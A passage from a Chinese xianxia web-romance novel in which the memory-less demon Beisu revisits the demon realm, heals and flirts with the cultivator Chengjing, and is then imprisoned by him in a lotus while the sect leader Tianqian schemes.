“你究竟是何人?” 北溯只说自己要问的:“北溯死的时候,你在哪?” 黎衣白脸色惨白,踉跄了一步,不可置信地问她:“你到底是谁?” 北溯很奇怪,自己与雾漓不和,这她知道,从小便结下了梁子,长大后更没有几日是笑脸相迎的,要说雾漓不会帮她,她可以理解。 凤鸣救了她,她感谢,但不明白是什么能让凤鸣让出自己的命救她。 但唯一没有听到消息的,是黎衣白。 她还记得,自己和黎衣白救被人族修士抓住的妖兽时,为了能让他们有充足的时间逃脱,只身挡在前方。那时黎衣白已经受了伤,修为本就没有她高,黎衣白留下来,只会徒增伤亡。 如今看来,后来被昆仑封印,又与昆仑仙尊同归于尽,好似这个搭档,一直都没有出现过。 这么问,是想确定,妖界里,还有没有值得自己留恋和守护的。 若是没有,或许那些记忆也不用找回来。 毕竟她自出生起,就是为了保护妖界。而今妖界不会再受侵害,她也没必要再守护。 北溯看了眼边上的梧桐树,忽然说:“你应该知道妖界的每一棵梧桐树,是怎么来的吧?” 黎衣白愣愣望着眼前的人,那是她未曾见过的脸,身上的气息是她熟悉的妖气,可却在她身上看到了熟悉的影子。 “我知道……”她望着那棵树,想到自己被告知的话,苦笑道:“凤凰亡,梧桐生。” 他们是相生相伴的关系,却又是一方死,一方生的循环。 凤凰一死,梧桐便会枯亡,可凤凰的涅槃之术一旦使用,便会生出新的梧桐树。十年过去,她发现这棵凤凰树,却没看到那只凤凰回来,他的涅槃之术失效了。 他们四人,现在活着的,只剩下她。 黎衣白不是不会愧疚自责,这些年夜夜梦中都是挚友的质问,问她为何不救,为何不帮。指责她一人苟且偷生,指责她享受他们挣扎几百年才换来的妖界太平。 她何尝不想帮他们呢? 可她做不到…… 黎衣白低头,去看自己的双手,她已经没有能力去救他们。 她的骨在她与妖界决裂时,断了,她已经不是那匹能保护全族的战狼,她若是冲上去,谁来保护狼族? 她苦笑着,回答面前之人的问题。 “我在妖界,”她一字一顿,似乎回到了北溯死的那天,看到参天巨树倒下时,那一幕的悲凉壮阔。 “我在偷生。” 她走到梧桐树前,抚摸着这新生的幼苗,低喃着:“现在的妖界,或许就是当初她想看到的。” “可惜,来的太晚了。” 她在自言自语,诉说着当初她们的豪言壮语。 “我们说好,要一起守护妖界,给后辈一个安宁的生活环境,不用怕被人族修士抓走炼丹,炼成法器。” 北溯静静听着,心中却没有波澜。 她想,五百年后的自己应该是失望极了,才会心冷硬得,不会被触动。 黑水洞窟里的雾漓入魔了,不知道他为何会堕魔,直觉告诉自己,在自己出离妖界后,便再无可领导妖界的妖兽。 北溯站在黎衣白身后,以目前自己还是妖兽身份,告诫她:“人族不会放过妖界,异种裂缝活动得越来越频繁,妖族想自保,必须主动出击。” 黎衣白站直了身子,顿了会,才转身看她。 她问:“你为何要帮我?” 北溯不觉得这是在帮她,只不过是来传达一个消息,该怎么做,还得她自己决断。 “我非人族,不会站在人族那边。”她说完,转身就走,准备去找找凤凰花。 黎衣白的声音从身后传来:“你就是北溯那个藏起来的师父吧?她说她有个很厉害的师父教她,是她死之前,拜托你来帮我——帮妖界的吗?” 北溯脚步停住,听到师父二字,脑海里第一个闪过的人是成镜,但时间对不上。 她还有个师父? 忽然想起成镜收她为徒是,让她不要叫她师尊,是因为她曾经有个师父,还是单纯不喜欢她这么叫? 北溯转身,刚准备问黎衣白更多的信息,两股妖气冲上来,显形后向黎衣白行礼,急忙说:“禀妖王,我们在腹地外围发现了一个昏迷的人族,已经抓起来,关押进牢里了!” 北溯觉得自己真应该把成镜带着,去哪都带着,这么一会功夫都能出事。 “那是我带来的人。” 黎衣白看北溯的目光立刻带上了怀疑之色,她对那俩妖兽直接道:“带我去看。” 北溯默默跟上去。 她还得拿凤凰花,可不能和他们闹毛了。再说现在也没有邪神时候的强悍实力,打起来是能跑,但总归会受伤,不值当。 囚牢里黑黢黢的,北溯还没走进去,就在外头不远处看到一只熟悉的小鸟。那鸟鬼鬼祟祟盯着囚牢入口,蠢蠢欲动。 北溯收了目光,直接走进去,边上的两只妖兽一见她,把烛火往她脸上怼,忽然一拍大腿,哎呦一声。 “慕青,又是你!你好端端的带个人来干什么!被人族知道了,又得找借口入侵妖界。” 北溯哪想到有敛息术还有结界,都能被发现,这群妖兽也没懈怠嘛,修为见涨。 人躺在地上,不省人事,口中还溢出了血。 北溯直接劈开了牢门,将人抱起来,搂着他的妖,冲黎衣白道:“可有空闲房间?他伤的不轻。” 黎衣白很想问清楚,她为何要带个人来妖界,但又顾及她的身份,老狼喊的那个名字,大概率是假的。 摸不清对方底细前,还是不要轻易动手。 她带着两人去了一间空房,北溯一看到,便想走。 这里是她的房间。 “您的身份不一般,别处也不好安排,这间是她曾经的住处,您看可行?” 北溯没有说话,将成镜放倒在木床上,让他们都出去。 老狼老龟趁机多看了几眼,床上人族长得不错,慕青挺有眼光,最好呢把这人族折磨折磨,等他受不了了,再杀了,扔回人界。 找夫婿嘛,还得是找妖族比较好。 他们连嘿嘿笑了几声,被黎衣白瞪了出去。 黎衣白留下一句话:“那人族看着伤得不轻,您需要我帮您吗?” 北溯没有说出自己的意图,只让她出去。黎衣白犹豫了一下,离开了。 房间内只剩下二人,北溯动了动手,外头的小鸟飞进来,站在成镜胸口,张开双翅,毛都炸开了。 “我警告你啊,你不准动这个人,他已经有主了,她很快就回来,要是 你被她发现,她必然会打你!” 北溯抬手弹开她,换回原来的声音,问:“他怎么被发现的?” 小鸟傻不愣登眨眼,旋即瘫倒在床上,狠狠松了口气。 “他突然醒了!”小鸟翅膀一拍成镜手背,气呼呼道:“他一醒就要去找你,破了结界,我就听你的打晕了他,结果就被巡逻的发现了。” 小鸟说完,一个劲吐槽成镜:“你都不知道,这人多难敲晕!我@#¥~%……&*!” 北溯嗯了一声,表示知道了:“你可以走了。” 小鸟说得口感舌燥,刚喘了几口气,就被赶走,哼了一声。 “用完就丢。” 小鸟飞走,房间里静悄悄的。 北溯坐在成镜边上,撑着床沿,俯身看他。 她不太明白,这个人两次醒来都要找自己,究竟在执着什么。 忘记的记忆里,应该有部分是与他有关的,可她现在不想要这部分记忆了。比起知道那些糟心的过往,她更想展望前方。 北溯抬手,抹去他唇角的血,这应该是小鸟敲晕他时,倒地后再次创到心肺产生的。 “真倒霉啊,伤还没好全,又被打。”北溯收了手,直起身,垂眸俯视他,扯了扯嘴角,“活该。” 她再次设了结界,没再用敛息术,直接去找凤凰花。 刚才她在梧桐树幼苗那见到了凤凰花,黎衣白在,她不好直接拿。现在去,倒是没人了。 她将这朵才生长出来,只有手指长的凤凰花连根拔起,只长了这么一株,采了,十年间不会再涨。 算是她为妖界效力这么多年的报酬吧。 北溯回去后,将凤凰花剁成汁,喂到成镜嘴里。凤凰花起作用还得些时间,得再等会,她也不是很急着回去。 抬头打量四周,这间屋子虽然没有灰尘,但处处都是岁月的痕迹。 以北溯现在的记忆,她还住在这里,然而这里已经过去五百年,物是人非,这里早就不是她的住处了。 小半个时辰后,门被敲响,外头传来老狼的声音。 她走过去,开了门。走到门外,半掩着门。 “慕青,这是妖王吩咐我们拿来的疗伤药草,还有些赏赐,你看看?” 老狼和老龟不知道黎衣白将北溯认作成了北溯师父,还以为她是那个值守的妖兽,本来送东西的差事轮不到他们头上,是他们自告奋勇,主动来的。 拿来的药草确实是上品,至于他们说的赏赐,北溯看了眼,推了回去。 “药草我收下了,这东西我不会要。” 老龟不解,老狼笑她不知好歹:“这可是好东西!蚌珠!百年才产一颗,磨成粉服下,可增长十年妖力!” 北溯不喜,叫他们拿回去。 “慕青,这就是你不上道了,这么好的东西……” “不要就退回去,本来也没几颗。” 两只老妖往里面瞅了眼,好奇问:“慕青啊,你是不是立了什么大功,妖王才会突然赏赐你啊……” “想知道?” 两只老妖点头。 北溯直接退进房,留下一句:“想知道,直接去问妖王。” 啪一声,门关上,老妖们面面相觑,骂骂咧咧走了。 然而房间内,北溯刚关上门,就被人摁着肩膀转了个身,一把摁在门上。 男人掐着她的下巴,凝出明亮的莲花,照亮她的脸,盯着她的脸看了好一会,咬牙切齿。 “北溯,你到底变了多少张脸?” 北溯不喜欢被人掐下巴,抬手掰开他,他却不依不饶,改为攥住她的手,似乎被气得不轻。 “慕青?”他细数她的化名:“裴云霄,裴溯,慕青,你还有多少个名字?” 北溯眨了一下眼,瞧着男人生龙活虎的样,挑眉道:“你恢复得不错,还有力气问我这些。” 成镜被她一句话激得更气,却又无力极了。 拼尽全力想把她留在身边,可不管他怎么做,她还是会消失不见。 每次看到眼前空落落的,没有她的身影,她的死带来的巨大恐惧再次淹没了他。 他紧紧攥着她的手,看着她这张陌生的脸,想到她那些名字,觉得自己又被她耍了。 她总是这样,轻而易举便能颠覆他的所有努力。 “北溯,你真该死。” 成镜只觉得自己胸口里全都是气,鼓得胸腔作痛,偏偏引起这份疼痛的人,若无其事,还在笑。 他忍无可忍,身子压上去,遵从内心的冲动,再次咬上她的唇。 只要他在她身上打下属于自己的印记,她走到哪,他都能认出来。 北溯被他压着,抵在门上,唇上刺痛,他竟是一丝力没有收,就这么重重地咬上来。 骨子里的战斗欲被激发,她不服气摁住男人肩膀,双脚一动,身子一转,再一用力,将成镜推着撞到门上。 男人闷哼一声,蹙了眉,旋即身体的痛被抚平。 北溯踮起脚,摁着男人胸膛,咬上他的唇前,在他耳畔低声说:“我还对一个人说,我叫北云霄。” 男人抬起的眼震颤,旋即被她的身影充满。 她靠过来,舔了一下他的唇,随后用蛊惑的语气命令他: “张口。” 成镜下意识照做,柔软的身子压下来,紧紧贴合,他缓缓伸手,搂住她纤细的腰肢。 北溯感知到他的顺从,满意地弯了眼眸。 “好乖。” 第64章 呼吸声渐渐加重,交织的气息染上了别样的味道,逐渐变得黏腻。 莲花渐渐下落,忽明忽暗,被压在门上的男人急促地喘了口气,随即被更凶猛的侵入夺走呼吸。 北溯按在他胸膛的手极为清晰地感知到他此刻的状态,被她松开时,他会猛地呼吸,再度覆上去,他的胸膛便停止了起伏。 好像很紧张。 透过莲花微弱的光,看到他半垂着的眼帘,浓密的睫毛一直在颤,离得近了,扇起的气流会扫到她。 北溯推开些许,分离的瞬间,腰间一紧。 她低头看去,男人紧紧抓着她的腰,不让她走。 “道君还想再来一次?” 男人未言,只微微张着唇,上头满是她留下的痕迹。 莲花微弱的光衬得此刻的他温柔又唯美,像是被精心捏出来的瓷娃娃,让人爱不释手。 北溯看了会,忽然说:“道君方才不是在生气么?现在怎么软成这样?” 这句话确实不算什么好话,成镜似是羞恼地抿了唇,站直身子,双眼扫了一圈,抬手去理自己的衣领。 方才拉扯间,他的衣衫被扯乱了。 指尖擦过锁骨,他动作顿了顿,若无其事地继续理。 北溯却拉住他的手,身子再度逼近,一口咬住他的脖颈。 那里是一人最脆弱之处,割破了,就会流血,甚至会死。 成镜下意识去推她,但一手被她摁在门上,另一手一抵上她的肩膀,就没了力气。 北溯叼住了他脖颈,尖锐的牙一咬,只需再用力,便会咬破。 他想起了当初她对自己做的那些,本应该防备,身体却使不出力气,只能被她咬,偏偏神经敏感到她每一次用牙磨脖颈肌肤,她的唇亲密触碰过来,都极为清晰,甚至放大数倍。 发现到 她换脸又换名字的愤怒与慌乱,在她的亲昵下,烟消云散。 成镜从不知自己可以在一个人手里栽那么多次,明明现在他实力在她之上,却没有一次反抗。 许是伤没好,没什么力气反抗,他身上味道很香,激发了她的野性,牙痒,想咬破皮,想了想没这么做。 松开了他,又换了一处继续咬。 男人捏紧手,垂下眼帘看她,低声唤她的名字。 北溯没应他,继续咬。 总觉得他身上的味道不是人族能有的。 稍微退开些,她唇擦着被自己咬的地方,轻声问:“你是什么做的,为什么身上总有莲花的味道。” 成镜注意力全都集中在被她唇碰的地方,下意识答:“金莲……” 北溯哦了一声,没听过,不知道。 她垂下一直桎梏他的手,十指依旧交缠,身子放松地埋进他怀里,吸了一口莲香。 成镜僵着身子,不敢动,心口麻麻的,很奇怪。熟悉的气息涌来,将他圈占,再涌进身体里,将那颗动荡不安的心抚平。 他动了动手将她的手握得更紧,任由她压在自己身上,低垂的眼能看到她弯起的唇,她该是很满意。 “我喜欢这个味道。” 北溯闭上了眼,靠在他怀里,嗅着莲香,少有的放松。 莲花骤然大亮,差点将整个屋子照亮。成镜动手散了莲花,不知为何,紧张起来。 一颗心跳动速度加快,很容易叫靠近他身体的人看出来。 北溯听到他心跳声音太响,蹙了眉,另一只手压住他心口的位置,不悦道:“别跳,很吵。” 那颗心跳得更响了。 北溯扬起头,正巧对上成镜望她的眼,没有光线,依旧能瞧见他眼底的慌乱。 她笑了笑,歪头问他:“道君的心为何跳得这么快?”她说完,侧耳贴上他胸口,仔细去听。 成镜想后退避开她,背后已经是结结实实的木板,退无可退,只能被她听。 “好快。” 北溯推开,抬起交握的手,举到他眼前,笑容不减:“道君怎么不松手?” 一抹红晕迅速浮上成镜脸颊,他立刻松了手,偏开头不看她,却怎么也阻止不了自己因她而产生的反应。 “道君也不用这么快就松开吧。” 北溯凝了一簇火苗,浮在肩头,一眼瞧见男人脖颈上的牙印,红艳艳的,很好看。 这是她打下的印记。 “道君现在身体还疼吗?” 成镜缓了会,才摇头。 北溯又问:“不疼了,那就是伤恢复得差不多了?” 他又摇头。 北溯觉得自己对成镜的初印象很不准确。 这人根本没有表面上看起来那么高冷不可亲近,相反,很容易扑倒,反应也很可爱。 “为何只是摇头,嗓子坏了?” 男人转头看她,眼帘微抬,眉头紧蹙。 北溯眨了眼,期待他说话:“嗯?” “我只是……” 他一开口说了几个字,立刻闭上嘴,呼吸急促了一瞬,移开视线,不再说一句。 北溯听得一清二楚,他声音哑得不像话,满是情欲的味道,只是几个音节,说出来转了好几个弯,根本控制不了。 她缓缓地,声音拉长,说:“道君你——” 男人慌乱间直接捂住她的唇,阻止她说。 眨动的眼睫扫过手指,他又是一颤,但没松开手。 北溯掰开,刚要说话,男人直接松开她,要往边上走。她没阻拦,自己靠在门上,变回了那张脸,说:“道君今晚还回去吗?” 她靠在门上,室内唯一的男人还乱着衣衫,脖颈上痕迹暧昧不清,怎么看,都像是她堵住门,把这个男人欺负了一遍。 成镜脚步一顿,想起来自己嘱咐过藕宝照顾好鳞舞,现在回去已经没什么意义。 他没有说话,北溯就当他默认留下来。 她朝木床走去抬手就要褪衣衫,被人猛地一斥问:“你做什么?” 北溯动作没停,把外衫铺在木床上,直接躺上去,一抬眼就见成镜一副恼羞的表情,笑了出来:“道君不会是以为我要与你行云雨之——” 话没说完,男人掉头就走,离了两米距离停下,顿了会才动手凝出莲台,坐上去。 他背对着北溯,看不清他脸上表情。 北溯侧着身子,撑起下巴看他,男人背挺得很直,打坐姿势优雅极了,完全看不出来他方才情难自禁。 “唔……”北溯看着看着,逐渐出了神。 打听到的消息里,有几条关于成镜的,他那时也在魔界。 他在魔界干什么呢? 北溯直接问了:“我死那会,你在魔界干什么?” 很平淡的语气,像是平日里的问候,却在听到这一问的人心中掀起了惊涛骇浪。 成镜的身子好像僵硬了,他睁着的眼里满是挣扎,莲花的微光倒映眼中,被眸中的黑吸尽。 久久没有回答。 北溯等了会,放下撑着下巴的手,平躺好,闭上了眼,没有再问。 屋内寂静得只有呼吸声。 一道平缓,一道急促。 北溯以为他不会说,她正想着白日要做什么时,他的声音突然响起。 没什么起伏地说出了四个字:“给你收尸。” 北溯哦了一声,随口道:“那我们俩关系还挺好,你都能给我收尸。” 那怎么他们就不来呢。 北溯翻了个身,背对成镜,说了最后一句:“晚安。” 成镜绷紧的神经未曾松下,甚至在她如此平静地说出那句话时,扯得更紧,几近扯断。 他低眸瞧着莲台,双手并拢,微微弯曲手指。 那日,他用双手捧起她的骨灰,给她立了坟。 也许她不该恢复记忆,现在这样就很好,不会因为之后的遭遇而痛苦。 可她也不会记得之前对他做的事。 指尖抚上脖颈处被她咬的地方,碰上去还会疼。她只这么咬了,连个解释也没有,更别说负责。 从始至终,潇洒的只有她。 成镜垂下了手,不知自己现在做的对不对。即使如此亲密接触过,还是觉得心口缺了一块,焦躁不安,却又会迷茫无助,还觉得气愤恼怒。 他该是被她折磨坏了,连最基本的控制情绪都做不到。 他闭上了眼,忽然又发觉,即使她不对他做些什么,只是睡觉,自己的注意力也会不由自主地集中在她身上。 她的呼吸平稳绵长,没有被影响到。 只有他一人心头兵荒马乱。 第一缕日光照射进来时,北溯睁开了眼,挺起身,坐在木床上眯着眼,缓了会。 随后下床,拾起外衫,掸了灰尘。 “早啊。” 男人已经收了莲台,转过身,回应了一声:“早。” 北溯伸了腰,走到男人面前,没能看见昨晚自己留下的痕迹——他换了衣衫,衣领很高,看不见脖颈。 “遮得这么严实,生怕被看见。”北溯不大高兴:“我见不得人?” 成镜抿唇,不自在地移开眼,没有说话。 她制造的痕迹自然消除很慢,他也可用灵力驱散,但他没有,理衣领时发现她咬得太靠上,遮不住,只能换一件衣衫。 “急着回去吗?”话是这么问,但没有让他走的意思:“我带你逛逛妖界吧。” 想了想,又补充道:“毕竟是给我收尸的恩人,我得感谢感谢你。” 成镜皱了眉,不悦看她。 北溯没理,直接开门。 面容变幻,出了这个没什么留念的住处,迎面看到几个眼生的,一见她出来,立刻迎上来。 “妖王吩咐了,要我们好好招待您。”看样子黎衣白是告诉了他们她的“身份”。 北溯挥手拒绝,“不用了,逛一圈我们就走。” 她朝后望,示意他跟紧自己。 北溯先带着成镜去了枯死的梧桐树,那里有几个妖兽走动,见到她又惊又疑。 “喏,这棵树之前很高,差不 多得有你们那的一座山那么高,现在只剩下树干了,估计是凤鸣那家伙死时断的。” 她设了结界,只有他们两个能听见。 成镜默默听着,看那棵干枯的树干时,眼前浮现的是梦境里那棵旺盛的参天巨树。 而今她倒下了。 成镜转了视线,专注地看着女子。 “以前呢,我没事的时候会去树上休息,这里没什么人来,安静。” 成镜点头,低声说了一句:“我看到过。” 北溯又带着成镜去了小树林,她叫他在边上站着,她打了个响指,不过片刻,树干上垂下数条蛇。 颜色万千,远远瞧去像是树藤,近瞧就吓人了。 成镜想起了她幼时,与蛇为伴,独坐再那,连个愿意靠近她的人都没有。 他张了口,想说什么,终是没有说。 “还行,还记得。” 北溯满意地点了头,拉着成镜手腕,走出树林。 身后的蛇慢吞吞爬了回去,不过片刻,什么都瞧不出来。 “喏,瞧见那一块没长草的空地没?” 他们站在山丘上,俯视地面。 成镜顺着她指的方向看过去,道:“看见了。” 北溯凝出火,手一挥,那火灭了。 “那里本来是个花园,凤鸣练习秘术的时候,不小心烧了,到现在都没长回来。” “黎衣白说他应该去海边或者石滩上练,一个能灭火,一个烧不着。” “雾漓呢,笑他连自己的火都掌控不住。” “我当时说他什么来着,”北溯往后退,靠在树干上,仰头瞧着湛蓝的天空,仔细回想:“我好像说他笨。” 笨得把涅槃之术用给了别人。 她问成镜:“你觉得,自己的命,应该给别人吗?” 成镜只看着那片荒凉的土地,没有回答。 北溯见他不说话,好奇问他:“你们人族也这样吗?会为了同族付出生命?” 成镜不知。 他并非人族,他也很少与人族相处。 唯一亲密相处的,还是个妖兽。 “你说,凤鸣为什么会救我呢?” 北溯想了想,妖族也没无私大义到能付出自己的命,她想不明白凤鸣为什么要救自己。 “我想不明白。” 她每一句话,如刺,刺在他心口。 成镜转身,似是平静地走到她身前,看着她,认真说了一句:“因为你值得。” 只有他看过她的过往,知道她为妖族做的一切,只有他知道,在她坚定无情的外表下,那颗柔软的心。 因为值得,所以才会付出。 成镜能感觉到她现在的迷茫,但他无法帮助她消除这份迷茫。 他只能告诉她,她值得凤鸣的付出。 或者说,这远还不够。 她为妖界做的,远远大过于凤鸣救她。 “是吗。” 北溯笑了一下,双手搭在成镜肩膀上,将他拉近自己,看了他一会,忽然说:“你看起来不太开心。” 成镜诚实地嗯了一声,一瞬不瞬地看她,此刻难得的平静悠闲,应是第一次这么平和地相处。 “你觉得我失去的记忆里,有值得我想起来的东西吗?” 成镜呼吸一窒,大脑轰鸣。 北溯松开他,错身走过,去俯瞰山下风景。 妖界已经不是她熟悉的那个妖界了,她的使命已经完成,没有什么能再束缚她。 “成镜,”她唤他的名字,成镜心口一跳,莫名有种不好的预感。 她打趣道:“我很喜欢舞宝,不如你把她给我养,你再找个姑娘生个娃娃。” 话音刚落,极度不稳的气息迫近,男人一把将她转过身,紧紧扣住她双肩,死死盯着她:“你是什么意思?” 北溯不想要那廉价的记忆,她想离开妖界,去别的地方,隐姓埋名去人界找个地方住着,被发现了就换个地方,再去魔界逛逛。 总之,她不想再以北溯的身份活着。 她一根一根地掰开成镜的手,遗憾道:“看来道君不愿意把舞宝给我。” 成镜不知道自己该做出什么反应,一切都不在他的认知范围内。 眼前的人明明就在眼前,可她就像是空气,一松手,就会消失不见。 北溯轻轻推了他一下,说:“谢谢你给我收尸,我的坟你也不用去了,莲叶我挺喜欢。” 成镜呆滞着,视线里她的身影逐渐模糊,与昆仑仙尊同归于尽的她却清晰起来。 莫大的恐慌席卷而来,他猛地拉住她,死死攥着她的手腕,不松手,脑中只有留下她这一个念头。 他嚅动着唇,却只能狼狈地用鳞舞来让她留下:“舞宝离不了你。” 北溯晃了晃手,又说起那句话:“我可以带着舞宝。” 成镜在等她下一句话。 但她没有再说,只让他松手。 成镜看着她好一会,半晌才扯起嘴角,自嘲一声,她从没有在乎过他。 “休想。” 成镜没有松手,也没有答应让她带走舞宝。 他执拗地抓着她,不理她的任何要求。 直到传音令震动,发出鳞舞的声音:“爹爹,你和阿娘去哪啦?我已经在张伯伯这上课了,你们什么时候回来呀?” 成镜愣神,鳞舞稚嫩的声音回荡,逐渐唤醒他的理智。 他将藏起来的令牌拿出来,正好露出鳞舞的声音:“我好想你们啊。” 纯粹的思念之声响在两人之间,成镜拿着传音令,却是盯着北溯开口说话:“我们很快就会回来,我,还有裴溯。” 那头传来舞宝欢喜的声音:“好耶!我等你们回来!” 小孩子欢喜的声音格外有感染力,北溯觉得这人心机极了,之前怎么都找不到联络的东西,现在立刻拿出来,还带上了舞宝。 男人收了传音令,也不管北溯生气,只道:“舞宝在等你回去。” 北溯不喜欢被人用命令的语气说话,她继续抽自己的手,盯着他,挑衅:“有本事你绑我回去。” 成镜忽然卸了力,对她只说了一句话:“你说的对。” 他怎么忘了,自己可以将她绑回去。 抬手凝出一朵莲花,迅速膨胀,张开花瓣,一口将她吞了,速度快得北溯只是一眨眼,人就被困在其中。 “你哪都跑不了。” 成镜直接离开妖界,往重莲殿而去。 回去的路依旧不平静,他们回道宗必经之地的一座小村庄出现了异种裂缝,好在人不多,裂缝也不大,成镜直接施展防护结界,隔绝了人身上的气味后,无法捕捉到人味,异种回了裂缝,裂缝合上,消失了。 村民们立刻感谢,不过一会,怨声连天。人人都在哀嚎这异种怪物就是个吃人的怪物,无数人被异种祸害,哪哪都不安全。 成镜静静看着他们,她坐在莲花里,没怎么动。 村民们围住他,问他能不能赶走异种怪物。 “您是仙长,那么厉害,一定能赶走的!” 这些村民眼含热泪,将希望寄托在他身上——不管来救他们的是谁,都是他们存活的唯一希望。 成镜偏头看身侧的莲花,他能感觉到她安安静静的,即使听到村民的声音,她也没动。 能者,必定要背负责任,他们比常人活得久,拥有常人无法得到的力量,无形之中便已经背负了保护他们的职责。 成镜想到了北溯与月神说的那些话。 她曾经也是这般,被妖族寄于重望,却也是妖族将她推入深渊。 如今,他也要走上她曾经的路。 “我会将异种赶走。” 只是这么一句承诺,就能得到他们的的感激,对他们来说,能救他们的,便是神。 成镜离开了村落,带着她继续往回赶。 传音令没再响,鳞舞把传音令收好,张伯伯说今日的功课结束了,她立刻收拾东西回重莲殿。 快要走到凉亭里时,瞧见个黑夜人,鳞舞看了会,不高兴了,“又是她,老巫婆。” 鳞舞也 不知道为什么,一见到天綪就觉得膈应,不想看见她。 她对藕宝说:“我们直接进去,不理她。” 谁知刚走进凉亭,天綪便转身,直直盯着她,开口问:“道君不在重莲殿内?” 鳞舞哼了一声,对自己说,你是一个有礼貌的好孩子,把自己哄好,才回答天綪:“爹爹不在。” 藕宝跟着点头。 天綪低头看了她好一会,忽然笑出来,声音放柔:“我有些事想问你,你可以帮我解惑吗?” 鳞舞不想帮,但觉得自己要是不帮忙,她可能会在老爹那说自己坏话,只好点头答应。 “你要问什么?” 天綪缓缓抬起手,掌心朝下,对准鳞舞的额头,声音森冷:“本座想知道,你娘是谁。” 藕宝立刻感觉到不对劲,刚要拉着鳞舞走,被天綪定住。 她的掌心竟然能映照出鳞舞的脸。 鳞舞眼瞳渐渐涣散,张开了口:“我娘,是……” “是——” 第65章 “阿娘就是阿娘啊……” 鳞舞眉心闪过莲花印记,眼神逐渐清明,隐约间似乎看到了一面镜子,等她睁大眼仔细去看时,已经没有了。 天綪收回手,脸上的迅速露出笑容:“既然道君不在,本座便不打扰了,待他回来,你告知他一声,就说宗主有事找他。” 鳞舞点点头,疑惑地挠了挠脑袋,刚才是不是有什么很奇怪的东西? “藕宝?” 天綪走出凉亭,孩童稚嫩的声音响在身后,她低头看了眼掌心,光滑的掌心倒映出她的脸,没有任何异常。 但她依旧怀疑这个孩子的身世。 几次试探,成镜闭口不言,前几日又突然收徒,那女修身上必定有什么吸引他的东西,否则以他的性子,必然不会过多关注。 天綪回头,看着鳞舞进了禁阵,重莲殿屹立在水面,里头设了禁制,她无法探知到有什么东西。 禁阵合上,隔绝了她的视线。 天綪回头,身影消失。 吞云殿内焦急等待的人来回踱步,一见她回来,立刻迎上去:“如何了?道君可在?” 天綪走回首座坐下,扫视这三位长老,吐出一句话:“道君未在重莲殿。” 三位长老更是焦急:“这可如何是好,异种裂缝越发活跃,已有数座城池受到影响,昨日若不是道君出手赶走异种,那三座城怕是会被异种吞了,成了座荒城!” “宗门大比在即,异种裂缝若是不妥善解决,怕是会影响大比。” “目前没有遇到异种主动攻击护宗结界,但已经在异种身上发现魔气,谁也不知道这魔气从何而来——” 星峦长老面色凝重,谨慎道:“怕就怕在这妖气和魔气融合,产生新的怪物……” 此话一出,殿内一片死寂,三位长老已经有了准备,他们正是因为此事而来。 “道君何时回来?此事还需与他商议……” 天綪并未回答,而是问他们:“这些年监测妖魔两界,没有发现异动?” 陆长老摇头,道:“并未发现明显异动。” 三位长老对视一眼,将他们的推测说出来:“可能是暗地里做些什么,督查门无法进妖魔两界,谁知道他们在干些什么。” 天綪忽然道:“你二人即刻前往督查门,告诉他们,立刻派人去妖魔两界内巡查,一旦发现任何异常,立即解决。” “但道君不是定了——” 天綪冷眼扫过去:“道君定下的协议,只我人界遵守,还算是协议?” 陆长老立刻明白,叫上另外一位长老立刻去督查门。星峦犹豫了会,问天綪:“道君可还有飞升的机会?” 天綪看他。 星峦仔细斟酌措辞,话在脑子里过了好几遍,才说:“若是道君无法飞升,您可试着联络联络昆仑,毕竟您是我宗除道君外最有希望飞升的,也许您飞升后,便可将异种全都驱赶走,人界便可安宁。” 他说这些话时,头一直低着不敢抬起来,并没有注意到天綪眼里的讥笑。 “这是你自己的想法?” 星峦连忙道:“其余两位长老也是与我想的一样。”他们确实都是这么想的,但没人敢说出来,以成镜在修真界的地位,没人敢当面质疑他。 如今情况越来越危险,他身上若是看不到希望,只能将希望寄托在旁人身上。 “宗主,为了千万无辜性命,您还是早些做打算为好。” 天綪扫了眼他,既没答应,也没拒绝,只道:“好好准备大比,出了差错,你担不起。” 星峦立刻行礼,承诺道:“宗主放心,我必然安排好,不会出一丝差错。” 要事说完,星峦正准备要走,天綪又问他:“令那女修进道宗的执事是谁?可知她的详细信息?” 星峦愣了会,才明白她问的女修是成镜新收的弟子,仔细回想,道:“她应是人界一处偏远村镇而来的,负责接他们的执事都只登记了姓名,并不知具体底细。” “去查。” 星峦领命,立刻退下。 今日日头大,万里无云,吞云殿外烈日照射,晒得很。殿内却是沁凉,外头的热气进不来。 天綪站起身,面向浮雕,直视神像,嘴里吐出一句话:“神降昆仑,庇佑众生。” 禁阵刚开,一道身影闪过,水面涟漪片片,鳞舞刚感觉到禁阵开了,跑到寝殿门口一看,水栈上空空如也,没有人影,奇怪道:“还没有回来吗?” 好奇怪,她都完成功课回来了,爹爹和阿娘还没回来。 “藕宝,你看到爹爹和阿娘了吗?” 藕宝摇晃着脑袋,说没有。它有点头晕,感觉自己好像忘了什么,但想不起来。 鳞舞只好回去,心不在焉地温习功课。 囚牢内禁阵层层,昏暗的空间内只有那朵一人多高的莲花散发着荧光,里头的人还蹲坐着,一点反应都没有。 成镜在她面前站着,一直凝视着她,等她什么时候主动来问自己,她却一动不动。 不知她为何突然就生出了退意,连记忆都不想要了,这不是她。 又或许他从未了解过真正的她,可能她本来就不愿参与到争斗中,只是被裹挟着前进,被动担当起保护妖界的职责。 他想了很久,只开口问了一句:“你想脱离妖界?” 莲花内的人动了动,朝他说:“道君是觉得自己厉害到什么都能掌控,能随意掌控别人?” 成镜语塞,深深的无力感淹没了他。 说到底,她不在乎他。 曾经她在乎妖界,所以会为了妖界身负重伤,也要冲在最前面。后来她可以为了羞辱他报复人界,要他孕育她的孩子。 现在她什么都不记得了,便可以轻易说放弃,说离开。 不过是因为,她心里没有他的位置。 成镜觉得自己不该心软,早在看到她出现在道宗之时,便该将她囚禁,不论用什么手段,都要将她留下来。 “只要我在这世上一日,你便没法离开此地一步。”成镜说完这句,甚至没等北溯说话,直接离开。 莲花内的人只看着他走出去,再将门关上,日光被隔绝,囚牢内只有莲花散发的荧光。 “这么想我留下来……” 成镜出去后,直接走去鳞舞寝殿。步伐一晃,他抿紧唇,将涌出来的血咽回去,靠在墙壁上,仰头呼吸。 从没觉得有哪一刻像现在这般,拿这个人没办法。 他偏头看向囚牢锁紧的门,扯出笑。 察觉到鳞舞要过来,他收拾好自己,站直了身子,朝寝殿走去。 鳞舞脑袋探出来,看到他的瞬间,立刻跑过来:“爹爹,你回来啦!”她跑到他面前站好,往他身后看,没见到想见的人,握住成镜的手晃了晃,问:“阿娘呢?” 成镜滚动喉咙,俯下身,揉了揉她脑袋,对上她满是期待的眼,道:“她有些不舒服,在休息。” 